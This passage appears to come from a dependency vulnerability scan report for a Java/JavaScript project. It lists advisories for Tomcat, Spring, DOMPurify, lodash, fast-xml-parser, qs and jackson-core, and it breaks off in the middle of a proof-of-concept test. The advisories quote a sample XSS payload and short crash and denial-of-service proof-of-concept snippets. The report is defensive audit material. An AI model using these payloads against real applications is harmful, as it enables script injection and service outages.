Target: distro/tomcat/assembly/pom.xml

Title: tomcat: Client certificate verification bypass due to virtual host mapping

Description:
Improper Input Validation vulnerability.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.14, from 10.1.0-M1 through 10.1.49, from 9.0.0-M1 through 9.0.112.

The following versions were EOL at the time the CVE was created but are
known to be affected: 8.5.0 through 8.5.100. Older EOL versions are not affected.
Tomcat did not validate that the host name provided via the SNI
extension was the same as the host name provided in the HTTP host header
field. If Tomcat was configured with more than one virtual host and the
TLS configuration for one of those hosts did not require client
certificate authentication but another one did, it was possible for a
client to bypass the client certificate authentication by sending
different host names in the SNI extension and the HTTP host header field.



The vulnerability only applies if client certificate authentication is
only enforced at the Connector. It does not apply if client certificate
authentication is enforced at the web application.


Users are recommended to upgrade to version 11.0.15 or later, 10.1.50 or later or 9.0.113 or later, which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2025-66614

CVE-2026-0540 - dompurify

Status: CONTINUED

Severity: MEDIUM

Installed Version: 3.2.4

Fixed Version: 3.3.2, 2.5.9

Target: webapps/frontend/package-lock.json

Title: DOMPurify: DOMPurify: Cross-site scripting vulnerability

Description:
DOMPurify 3.1.3 through 3.3.1 and 2.5.3 through 2.5.8, fixed in commit 2726c74, contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting five missing rawtext elements (noscript, xmp, noembed, noframes, iframe) in the SAFE_FOR_XML regex. Attackers can include payloads like </noscript><img src=x onerror=alert(1)> in attribute values to execute JavaScript when sanitized output is placed inside these unprotected rawtext contexts.

Reference: https://avd.aquasec.com/nvd/cve-2026-0540

CVE-2026-0540 - dompurify

Status: CONTINUED

Severity: MEDIUM

Installed Version: 3.2.5

Fixed Version: 3.3.2, 2.5.9

Target: engine-rest/docs/package-lock.json

Title: DOMPurify: DOMPurify: Cross-site scripting vulnerability

Description:
DOMPurify 3.1.3 through 3.3.1 and 2.5.3 through 2.5.8, fixed in commit 2726c74, contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting five missing rawtext elements (noscript, xmp, noembed, noframes, iframe) in the SAFE_FOR_XML regex. Attackers can include payloads like </noscript><img src=x onerror=alert(1)> in attribute values to execute JavaScript when sanitized output is placed inside these unprotected rawtext contexts.

Reference: https://avd.aquasec.com/nvd/cve-2026-0540

CVE-2026-22737 - org.springframework:spring-webmvc

Status: CONTINUED

Severity: MEDIUM

Installed Version: 6.2.10

Fixed Version: 7.0.6, 6.2.17

Target: distro/run/core/pom.xml

Title: Spring Framework: Spring Framework: Information disclosure via Java scripting engine enabled template views

Description:
Use of Java scripting engine enabled (e.g. JRuby, Jython) template views in Spring MVC and Spring WebFlux applications can result in disclosure of content from files outside the configured locations for script template views. This issue affects Spring Framework: from 7.0.0 through 7.0.5, from 6.2.0 through 6.2.16, from 6.1.0 through 6.1.25, from 5.3.0 through 5.3.46.

Reference: https://avd.aquasec.com/nvd/cve-2026-22737

CVE-2026-22737 - org.springframework:spring-webmvc

Status: CONTINUED

Severity: MEDIUM

Installed Version: 6.2.10

Fixed Version: 7.0.6, 6.2.17

Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml

Title: Spring Framework: Spring Framework: Information disclosure via Java scripting engine enabled template views

Description:
Use of Java scripting engine enabled (e.g. JRuby, Jython) template views in Spring MVC and Spring WebFlux applications can result in disclosure of content from files outside the configured locations for script template views. This issue affects Spring Framework: from 7.0.0 through 7.0.5, from 6.2.0 through 6.2.16, from 6.1.0 through 6.1.25, from 5.3.0 through 5.3.46.

Reference: https://avd.aquasec.com/nvd/cve-2026-22737

CVE-2026-22737 - org.springframework:spring-webmvc

Status: CONTINUED

Severity: MEDIUM

Installed Version: 6.2.10

Fixed Version: 7.0.6, 6.2.17

Target: spring-boot-starter/starter-webapp-core/pom.xml

Title: Spring Framework: Spring Framework: Information disclosure via Java scripting engine enabled template views

Description:
Use of Java scripting engine enabled (e.g. JRuby, Jython) template views in Spring MVC and Spring WebFlux applications can result in disclosure of content from files outside the configured locations for script template views. This issue affects Spring Framework: from 7.0.0 through 7.0.5, from 6.2.0 through 6.2.16, from 6.1.0 through 6.1.25, from 5.3.0 through 5.3.46.

Reference: https://avd.aquasec.com/nvd/cve-2026-22737

CVE-2026-22745 - org.springframework:spring-webmvc

Status: CONTINUED

Severity: MEDIUM

Installed Version: 6.2.10

Fixed Version: 7.0.7, 6.2.18

Target: distro/run/core/pom.xml

Title: spring-webflux: Spring MVC and Spring WebFlux: Denial of Service via slow static resource resolution on Windows

Description:
Spring MVC and WebFlux applications are vulnerable to Denial of Service attacks when resolving static resources.


More precisely, an application can be vulnerable when all the following are true:

* the application is using Spring MVC or Spring WebFlux
* the application is serving static resources from the file system
* the application is running on a Windows platform


When all the conditions above are met, the attacker can send malicious requests that are slow to resolve and that can keep HTTP connections in use. This can cause a Denial of Service on the application.

Reference: https://avd.aquasec.com/nvd/cve-2026-22745

CVE-2026-22745 - org.springframework:spring-webmvc

Status: CONTINUED

Severity: MEDIUM

Installed Version: 6.2.10

Fixed Version: 7.0.7, 6.2.18

Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml

Title: spring-webflux: Spring MVC and Spring WebFlux: Denial of Service via slow static resource resolution on Windows

Description:
Spring MVC and WebFlux applications are vulnerable to Denial of Service attacks when resolving static resources.


More precisely, an application can be vulnerable when all the following are true:

* the application is using Spring MVC or Spring WebFlux
* the application is serving static resources from the file system
* the application is running on a Windows platform


When all the conditions above are met, the attacker can send malicious requests that are slow to resolve and that can keep HTTP connections in use. This can cause a Denial of Service on the application.

Reference: https://avd.aquasec.com/nvd/cve-2026-22745

CVE-2026-22745 - org.springframework:spring-webmvc

Status: CONTINUED

Severity: MEDIUM

Installed Version: 6.2.10

Fixed Version: 7.0.7, 6.2.18

Target: spring-boot-starter/starter-webapp-core/pom.xml

Title: spring-webflux: Spring MVC and Spring WebFlux: Denial of Service via slow static resource resolution on Windows

Description:
Spring MVC and WebFlux applications are vulnerable to Denial of Service attacks when resolving static resources.


More precisely, an application can be vulnerable when all the following are true:

* the application is using Spring MVC or Spring WebFlux
* the application is serving static resources from the file system
* the application is running on a Windows platform


When all the conditions above are met, the attacker can send malicious requests that are slow to resolve and that can keep HTTP connections in use. This can cause a Denial of Service on the application.

Reference: https://avd.aquasec.com/nvd/cve-2026-22745

CVE-2026-22748 - org.springframework.security:spring-security-oauth2-jose

Status: CONTINUED

Severity: MEDIUM

Installed Version: 6.5.3

Fixed Version: 6.5.10, 7.0.5

Target: spring-boot-starter/starter-security/pom.xml

Title: Spring Security: Spring Security: Integrity impact due to improper JSON Web Token (JWT) validation

Description:
Vulnerability in Spring Spring Security. When an application configures JWT decoding with NimbusJwtDecoder  or NimbusReactiveJwtDecoder, it must configure an OAuth2TokenValidator<Jwt> separately, for example by calling setJwtValidator.This issue affects Spring Security: from 6.3.0 through 6.3.14, from 6.4.0 through 6.4.14, from 6.5.0 through 6.5.9, from 7.0.0 through 7.0.4.

Reference: https://avd.aquasec.com/nvd/cve-2026-22748

CVE-2026-22751 - org.springframework.security:spring-security-core

Status: CONTINUED

Severity: MEDIUM

Installed Version: 6.5.3

Fixed Version: 6.5.10, 7.0.5

Target: spring-boot-starter/starter-security/pom.xml

Title: Spring Security: JdbcOneTimeTokenService: Spring Security: Authentication bypass due to race condition in One-Time Token login

Description:
Vulnerability in Spring Spring Security. Applications that explicitly configure One-Time Token login with JdbcOneTimeTokenService are vulnerable to a Time-of-check Time-of-use (TOCTOU) race condition. This issue affects Spring Security: from 6.4.0 through 6.4.15, from 6.5.0 through 6.5.9, from 7.0.0 through 7.0.4.

Reference: https://avd.aquasec.com/nvd/cve-2026-22751

CVE-2026-25854 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: MEDIUM

Installed Version: 10.1.44

Fixed Version: 9.0.116, 10.1.53, 11.0.20

Target: distro/run/core/pom.xml

Title: Apache Tomcat: Apache Tomcat: Open Redirect vulnerability via LoadBalancerDrainingValve

Description:
Occasional URL redirection to untrusted Site ('Open Redirect') vulnerability in Apache Tomcat via the LoadBalancerDrainingValve.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.18, from 10.1.0-M1 through 10.1.52, from 9.0.0.M23 through 9.0.115, from 8.5.30 through 8.5.100.
Other, unsupported versions may also be affected

Users are recommended to upgrade to version 11.0.20, 10.1.53 or 9.0.116, which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-25854

CVE-2026-25854 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: MEDIUM

Installed Version: 10.1.44

Fixed Version: 9.0.116, 10.1.53, 11.0.20

Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml

Title: Apache Tomcat: Apache Tomcat: Open Redirect vulnerability via LoadBalancerDrainingValve

Description:
Occasional URL redirection to untrusted Site ('Open Redirect') vulnerability in Apache Tomcat via the LoadBalancerDrainingValve.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.18, from 10.1.0-M1 through 10.1.52, from 9.0.0.M23 through 9.0.115, from 8.5.30 through 8.5.100.
Other, unsupported versions may also be affected

Users are recommended to upgrade to version 11.0.20, 10.1.53 or 9.0.116, which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-25854

CVE-2026-25854 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: MEDIUM

Installed Version: 10.1.44

Fixed Version: 9.0.116, 10.1.53, 11.0.20

Target: spring-boot-starter/starter-webapp-core/pom.xml

Title: Apache Tomcat: Apache Tomcat: Open Redirect vulnerability via LoadBalancerDrainingValve

Description:
Occasional URL redirection to untrusted Site ('Open Redirect') vulnerability in Apache Tomcat via the LoadBalancerDrainingValve.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.18, from 10.1.0-M1 through 10.1.52, from 9.0.0.M23 through 9.0.115, from 8.5.30 through 8.5.100.
Other, unsupported versions may also be affected

Users are recommended to upgrade to version 11.0.20, 10.1.53 or 9.0.116, which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-25854

CVE-2026-25854 - org.apache.tomcat:tomcat

Status: CONTINUED

Severity: MEDIUM

Installed Version: 10.1.43

Fixed Version: 9.0.116, 10.1.53, 11.0.20

Target: distro/tomcat/assembly/pom.xml

Title: Apache Tomcat: Apache Tomcat: Open Redirect vulnerability via LoadBalancerDrainingValve

Description:
Occasional URL redirection to untrusted Site ('Open Redirect') vulnerability in Apache Tomcat via the LoadBalancerDrainingValve.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.18, from 10.1.0-M1 through 10.1.52, from 9.0.0.M23 through 9.0.115, from 8.5.30 through 8.5.100.
Other, unsupported versions may also be affected

Users are recommended to upgrade to version 11.0.20, 10.1.53 or 9.0.116, which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-25854

CVE-2026-2950 - lodash

Status: CONTINUED

Severity: MEDIUM

Installed Version: 4.17.21

Fixed Version: 4.18.0

Target: webapps/frontend/package-lock.json

Title: lodash: Lodash: Prototype pollution allows deletion of built-in prototype properties via array path bypass

Description:
Impact:

Lodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the _.unset and _.omit functions. The fix for (CVE-2025-13465: https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg) only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as Object.prototype, Number.prototype, and String.prototype.

The issue permits deletion of prototype properties but does not allow overwriting their original behavior.

Patches:

This issue is patched in 4.18.0.

Workarounds:

None. Upgrade to the patched version.

Reference: https://avd.aquasec.com/nvd/cve-2026-2950

CVE-2026-33349 - fast-xml-parser

Status: CONTINUED

Severity: MEDIUM

Installed Version: 4.3.4

Fixed Version: 4.5.5, 5.5.7

Target: webapps/frontend/package-lock.json

Title: fast-xml-parser: fast-xml-parser: Denial of Service via unbounded entity expansion due to incorrect configuration limit handling

Description:
fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. From version 4.0.0-beta.3 to before version 5.5.7, the DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service. This issue has been patched in version 5.5.7.

Reference: https://avd.aquasec.com/nvd/cve-2026-33349

CVE-2026-33349 - fast-xml-parser

Status: CONTINUED

Severity: MEDIUM

Installed Version: 4.5.3

Fixed Version: 4.5.5, 5.5.7

Target: engine-rest/docs/package-lock.json

Title: fast-xml-parser: fast-xml-parser: Denial of Service via unbounded entity expansion due to incorrect configuration limit handling

Description:
fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. From version 4.0.0-beta.3 to before version 5.5.7, the DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service. This issue has been patched in version 5.5.7.

Reference: https://avd.aquasec.com/nvd/cve-2026-33349

CVE-2026-33532 - yaml

Status: CONTINUED

Severity: MEDIUM

Installed Version: 1.10.2

Fixed Version: 2.8.3, 1.10.3

Target: engine-rest/docs/package-lock.json

Title: yaml: yaml: Denial of Service via deeply nested YAML document parsing

Description:
`yaml` is a YAML parser and serialiser for JavaScript. Parsing a YAML document with a version of `yaml` on the 1.x branch prior to 1.10.3 or on the 2.x branch prior to 2.8.3 may throw a RangeError due to a stack overflow. The node resolution/composition phase uses recursive function calls without a depth bound. An attacker who can supply YAML for parsing can trigger a `RangeError: Maximum call stack size exceeded` with a small payload (~2–10 KB). The `RangeError` is not a `YAMLParseError`, so applications that only catch YAML-specific errors will encounter an unexpected exception type. Depending on the host application's exception handling, this can fail requests or terminate the Node.js process. Flow sequences allow deep nesting with minimal bytes (2 bytes per level: one `[` and one `]`). On the default Node.js stack, approximately 1,000–5,000 levels of nesting (2–10 KB input) exhaust the call stack. The exact threshold is environment-dependent (Node.js version, stack size, call stack depth at invocation). Note: the library's `Parser` (CST phase) uses a stack-based iterative approach and is not affected. Only the compose/resolve phase uses actual call-stack recursion. All three public parsing APIs are affected: `YAML.parse()`, `YAML.parseDocument()`, and `YAML.parseAllDocuments()`. Versions 1.10.3 and 2.8.3 contain a patch.

Reference: https://avd.aquasec.com/nvd/cve-2026-33532

CVE-2026-33750 - brace-expansion

Status: CONTINUED

Severity: MEDIUM

Installed Version: 2.0.1

Fixed Version: 5.0.5, 3.0.2, 2.0.3, 1.1.13

Target: engine-rest/docs/package-lock.json

Title: brace-expansion: brace-expansion: Denial of Service via zero step value in brace pattern

Description:
The brace-expansion library generates arbitrary strings containing a common prefix and suffix. Prior to versions 5.0.5, 3.0.2, 2.0.3, and 1.1.13, a brace pattern with a zero step value (e.g., `{1..2..0}`) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory. Versions 5.0.5, 3.0.2, 2.0.3, and 1.1.13 fix the issue. As a workaround, sanitize strings passed to `expand()` to ensure a step value of `0` is not used.

Reference: https://avd.aquasec.com/nvd/cve-2026-33750

CVE-2026-41238 - dompurify

Status: CONTINUED

Severity: MEDIUM

Installed Version: 3.2.4

Fixed Version: 3.4.0

Target: webapps/frontend/package-lock.json

Title: DOMPurify: DOMPurify: Cross-Site Scripting bypass via prototype pollution

Description:
DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions 3.0.1 through 3.3.3 are vulnerable to a prototype pollution-based XSS bypass. When an application uses `DOMPurify.sanitize()` with the default configuration (no `CUSTOM_ELEMENT_HANDLING` option), a prior prototype pollution gadget can inject permissive `tagNameCheck` and `attributeNameCheck` regex values into `Object.prototype`, causing DOMPurify to allow arbitrary custom elements with arbitrary attributes — including event handlers — through sanitization. Version 3.4.0 fixes the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-41238

CVE-2026-41238 - dompurify

Status: CONTINUED

Severity: MEDIUM

Installed Version: 3.2.5

Fixed Version: 3.4.0

Target: engine-rest/docs/package-lock.json

Title: DOMPurify: DOMPurify: Cross-Site Scripting bypass via prototype pollution

Description:
DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions 3.0.1 through 3.3.3 are vulnerable to a prototype pollution-based XSS bypass. When an application uses `DOMPurify.sanitize()` with the default configuration (no `CUSTOM_ELEMENT_HANDLING` option), a prior prototype pollution gadget can inject permissive `tagNameCheck` and `attributeNameCheck` regex values into `Object.prototype`, causing DOMPurify to allow arbitrary custom elements with arbitrary attributes — including event handlers — through sanitization. Version 3.4.0 fixes the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-41238

CVE-2026-41239 - dompurify

Status: CONTINUED

Severity: MEDIUM

Installed Version: 3.2.4

Fixed Version: 3.4.0

Target: webapps/frontend/package-lock.json

Title: DOMPurify: Vue 2: DOMPurify: Cross-site scripting due to incomplete sanitization of template expressions

Description:
DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Starting in version 1.0.10 and prior to version 3.4.0, `SAFE_FOR_TEMPLATES` strips `{{...}}` expressions from untrusted HTML. This works in string mode but not with `RETURN_DOM` or `RETURN_DOM_FRAGMENT`, allowing XSS via template-evaluating frameworks like Vue 2. Version 3.4.0 patches the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-41239

CVE-2026-41239 - dompurify

Status: CONTINUED

Severity: MEDIUM

Installed Version: 3.2.5

Fixed Version: 3.4.0

Target: engine-rest/docs/package-lock.json

Title: DOMPurify: Vue 2: DOMPurify: Cross-site scripting due to incomplete sanitization of template expressions

Description:
DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Starting in version 1.0.10 and prior to version 3.4.0, `SAFE_FOR_TEMPLATES` strips `{{...}}` expressions from untrusted HTML. This works in string mode but not with `RETURN_DOM` or `RETURN_DOM_FRAGMENT`, allowing XSS via template-evaluating frameworks like Vue 2. Version 3.4.0 patches the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-41239

CVE-2026-41240 - dompurify

Status: CONTINUED

Severity: MEDIUM

Installed Version: 3.2.4

Fixed Version: 3.4.0

Target: webapps/frontend/package-lock.json

Title: DOMPurify: DOMPurify: Cross-Site Scripting (XSS) via inconsistent tag sanitization

Description:
DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-41240

CVE-2026-41240 - dompurify

Status: CONTINUED

Severity: MEDIUM

Installed Version: 3.2.5

Fixed Version: 3.4.0

Target: engine-rest/docs/package-lock.json

Title: DOMPurify: DOMPurify: Cross-Site Scripting (XSS) via inconsistent tag sanitization

Description:
DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-41240

CVE-2026-41305 - postcss

Status: CONTINUED

Severity: MEDIUM

Installed Version: 8.4.49

Fixed Version: 8.5.10

Target: engine-rest/docs/package-lock.json

Title: postcss: PostCSS: Cross-Site Scripting (XSS) via improper escaping of style closing tags

Description:
PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Versions prior to 8.5.10 do not escape `</style>` sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML `<style>` tags, `</style>` in CSS values breaks out of the style context, enabling XSS. Version 8.5.10 fixes the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-41305

CVE-2026-41650 - fast-xml-parser

Status: CONTINUED

Severity: MEDIUM

Installed Version: 4.3.4

Fixed Version: 5.7.0

Target: webapps/frontend/package-lock.json

Title: fast-xml-parser: fast-xml-parser: XML injection via improper escaping of comment and CDATA sequences

Description:
fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. Prior to version 5.7.0, XMLBuilder does not escape the "-->" sequence in comment content or the "]]>" sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation. This issue has been patched in version 5.7.0.

Reference: https://avd.aquasec.com/nvd/cve-2026-41650

CVE-2026-41650 - fast-xml-parser

Status: CONTINUED

Severity: MEDIUM

Installed Version: 4.5.3

Fixed Version: 5.7.0

Target: engine-rest/docs/package-lock.json

Title: fast-xml-parser: fast-xml-parser: XML injection via improper escaping of comment and CDATA sequences

Description:
fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. Prior to version 5.7.0, XMLBuilder does not escape the "-->" sequence in comment content or the "]]>" sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation. This issue has been patched in version 5.7.0.

Reference: https://avd.aquasec.com/nvd/cve-2026-41650

CVE-2026-8723 - qs

Status: CONTINUED

Severity: MEDIUM

Installed Version: 6.13.0

Fixed Version: 6.15.2

Target: webapps/frontend/package-lock.json

Title: ### Summary `qs.stringify` throws `TypeError` when called with `arr ...

Description:
### Summary



`qs.stringify` throws `TypeError` when called with `arrayFormat: 'comma'` and `encodeValuesOnly: true` on an array containing `null` or `undefined`. The throw is synchronous and not handled by any of qs's null-related options (`skipNulls`, `strictNullHandling`).



### Details



In the comma + `encodeValuesOnly` branch, `lib/stringify.js:145` mapped the array through the raw encoder before joining:



```js



obj = utils.maybeMap(obj, encoder);



```



`utils.encode` (`lib/utils.js:195`) reads `str.length` with no null guard, so a `null` or `undefined` element throws `TypeError`. `skipNulls` and `strictNullHandling` are both checked in the per-element loop below this line and never get a chance to run.



Same class of bug as the filter-array path fixed in 0c180a4. The vulnerable shape of the comma + `encodeValuesOnly` branch was introduced in 4c4b23d ("encode comma values more consistently", PR #463, 2023-01-19), first released in v6.11.1.



#### PoC



```js



const qs = require('qs');



qs.stringify({ a: [null, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true });



qs.stringify({ a: [undefined, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true });



qs.stringify({ a: [null] }, { arrayFormat: 'comma', encodeValuesOnly: true });



// TypeError: Cannot read properties of null (reading 'length')



// at encode (lib/utils.js:195:13)



// at Object.maybeMap (lib/utils.js:322:37)



// at stringify (lib/stringify.js:145:25)



```



#### Fix



`lib/stringify.js:145`, applied in 21f80b3 on `main` and released as v6.15.2:



```diff



- obj = utils.maybeMap(obj, encoder);



+ obj = utils.maybeMap(obj, function (v) {



+ return v == null ? v : encoder(v);



+ });



```



`null` and `undefined` now pass through `maybeMap` unchanged and reach the `join(',')` step as-is. For `{ a: [null, 'b'] }` this produces `a=,b`, matching the non-`encodeValuesOnly` comma path (which already joins before encoding and produces `a=%2Cb` for the same input). Single-element `[null]` arrays still collapse via the existing `obj.join(',') || null` and remain subject to `skipNulls` / `strictNullHandling` in the main loop.



### Affected versions



`>=6.11.1 <6.15.2` — fixed in v6.15.2.



The vulnerable code shape was introduced in 4c4b23d and first shipped in v6.11.1. Earlier versions — including all of 6.7.x, 6.8.x, 6.9.x, 6.10.x, and 6.11.0 — implemented the comma + `encodeValuesOnly` path differently (joining before encoding) and are not affected. Empirically verified across released versions.



### Impact



Application code that calls `qs.stringify` with both `arrayFormat: 'comma'` and `encodeValuesOnly: true` (both non-default) on input that may contain a `null` or `undefined` array element will throw synchronously instead of producing a query string. In a typical Node.js HTTP framework (Express, Fastify, Koa, hapi) the sync throw is caught by the framework's error boundary and the affected request returns a 500; the worker process does not exit and subsequent requests are unaffected. The "kills the worker process" framing applies only to call sites outside a request-handler error boundary (background jobs, startup paths, stream pipelines) or to deployments with framework error handling explicitly disabled.



The vulnerable input is a `null` or `undefined` entry inside an array; this is reachable from JSON request bodies or from application code constructing arrays from user input, but not from standard HTML form submissions (which produce strings or omitted fields, not literal `null`).

Reference: https://avd.aquasec.com/nvd/cve-2026-8723

GHSA-39q2-94rc-95cp - dompurify

Status: CONTINUED

Severity: MEDIUM

Installed Version: 3.2.4

Fixed Version: 3.4.0

Target: webapps/frontend/package-lock.json

Title: DOMPurify's ADD_TAGS function form bypasses FORBID_TAGS due to short-circuit evaluation

Description:
## Summary
In `src/purify.ts:1117-1123`, `ADD_TAGS` as a function (via `EXTRA_ELEMENT_HANDLING.tagCheck`) bypasses `FORBID_TAGS` due to short-circuit evaluation.

The condition:
```
!(tagCheck(tagName)) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])
```
When `tagCheck(tagName)` returns `true`, the entire condition is `false` and the element is kept — `FORBID_TAGS[tagName]` is never evaluated.

## Inconsistency
This contradicts the attribute-side pattern at line 1214 where `FORBID_ATTR` explicitly wins first:
```
if (FORBID_ATTR[lcName]) { continue; }
```
For tags, FORBID should also take precedence over ADD.

## Impact
Applications using both `ADD_TAGS` as a function and `FORBID_TAGS` simultaneously get unexpected behavior — forbidden tags are allowed through. Config-dependent but a genuine logic inconsistency.

## Suggested Fix
Check `FORBID_TAGS` before `tagCheck`:
```
if (FORBID_TAGS[tagName]) { /* remove */ }
else if (tagCheck(tagName) || ALLOWED_TAGS[tagName]) { /* keep */ }
```

## Affected Version
v3.3.3 (commit 883ac15)

Reference: https://github.com/advisories/GHSA-39q2-94rc-95cp

GHSA-39q2-94rc-95cp - dompurify

Status: CONTINUED

Severity: MEDIUM

Installed Version: 3.2.5

Fixed Version: 3.4.0

Target: engine-rest/docs/package-lock.json

Title: DOMPurify's ADD_TAGS function form bypasses FORBID_TAGS due to short-circuit evaluation

Description:
## Summary
In `src/purify.ts:1117-1123`, `ADD_TAGS` as a function (via `EXTRA_ELEMENT_HANDLING.tagCheck`) bypasses `FORBID_TAGS` due to short-circuit evaluation.

The condition:
```
!(tagCheck(tagName)) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])
```
When `tagCheck(tagName)` returns `true`, the entire condition is `false` and the element is kept — `FORBID_TAGS[tagName]` is never evaluated.

## Inconsistency
This contradicts the attribute-side pattern at line 1214 where `FORBID_ATTR` explicitly wins first:
```
if (FORBID_ATTR[lcName]) { continue; }
```
For tags, FORBID should also take precedence over ADD.

## Impact
Applications using both `ADD_TAGS` as a function and `FORBID_TAGS` simultaneously get unexpected behavior — forbidden tags are allowed through. Config-dependent but a genuine logic inconsistency.

## Suggested Fix
Check `FORBID_TAGS` before `tagCheck`:
```
if (FORBID_TAGS[tagName]) { /* remove */ }
else if (tagCheck(tagName) || ALLOWED_TAGS[tagName]) { /* keep */ }
```

## Affected Version
v3.3.3 (commit 883ac15)

Reference: https://github.com/advisories/GHSA-39q2-94rc-95cp

GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core

Status: CONTINUED

Severity: MEDIUM

Installed Version: 2.15.2

Fixed Version: 2.21.1, 2.18.6

Target: clients/java/client/pom.xml

Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition

Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).

The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.

### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.

- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.

### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

```java
package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
